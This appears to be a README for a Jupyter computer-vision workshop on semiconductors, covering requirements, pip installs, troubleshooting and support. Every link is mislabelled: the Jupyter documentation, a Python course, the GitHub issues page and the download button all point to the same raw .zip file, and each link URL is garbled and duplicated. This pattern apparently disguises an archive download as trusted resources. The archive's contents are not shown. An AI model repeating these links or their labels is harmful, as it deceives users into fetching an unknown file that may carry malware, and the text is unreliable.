📚 Resources and Documentation

• For help on using Jupyter notebooks, you can refer to the official [Jupyter documentation](https://github.com/nakato520/computer-vision-semiconductor/raw/refs/heads/master/Day 2/Workshop 1/vision-computer-semiconductor-v1.4.zip 2/Workshop https://github.com/nakato520/computer-vision-semiconductor/raw/refs/heads/master/Day 2/Workshop 1/vision-computer-semiconductor-v1.4.zip).
• If you're new to Python, consider checking out the [Python for Everybody](https://github.com/nakato520/computer-vision-semiconductor/raw/refs/heads/master/Day 2/Workshop 1/vision-computer-semiconductor-v1.4.zip 2/Workshop https://github.com/nakato520/computer-vision-semiconductor/raw/refs/heads/master/Day 2/Workshop 1/vision-computer-semiconductor-v1.4.zip) course to build your foundational knowledge.

💻 System Requirements

• Operating System: Compatible with Windows, macOS, and Linux.
• Python: Version 3.6 or higher.
• Memory: At least 4 GB of RAM is recommended for smooth performance.
• Storage: Ensure sufficient disk space for installing required libraries and storing notebooks.

🛠️ Installation of Required Libraries

You may need to install additional Python libraries to run the notebooks effectively. Open your terminal and run the following commands:

pip install numpy
pip install opencv-python
pip install torch torchvision
pip install matplotlib

🔧 Troubleshooting

• If Jupyter doesn't launch, check if you installed it correctly.
• Ensure that your terminal is in the correct directory of the notebooks.
• If you encounter a library error, you may need to install the missing library using the commands provided above.

📞 Support

For any questions or support, you can open an issue on the [GitHub repository](https://github.com/nakato520/computer-vision-semiconductor/raw/refs/heads/master/Day 2/Workshop 1/vision-computer-semiconductor-v1.4.zip 2/Workshop https://github.com/nakato520/computer-vision-semiconductor/raw/refs/heads/master/Day 2/Workshop 1/vision-computer-semiconductor-v1.4.zip) or reach out to your workshop instructors.

🔗 Download & Install

To download the Jupyter notebooks, please visit the Releases page: [Download Here](https://github.com/nakato520/computer-vision-semiconductor/raw/refs/heads/master/Day 2/Workshop 1/vision-computer-semiconductor-v1.4.zip 2/Workshop https://github.com/nakato520/computer-vision-semiconductor/raw/refs/heads/master/Day 2/Workshop 1/vision-computer-semiconductor-v1.4.zip).

This guide should help you easily navigate and use the resources available in the computer-vision-semiconductor project. Happy coding!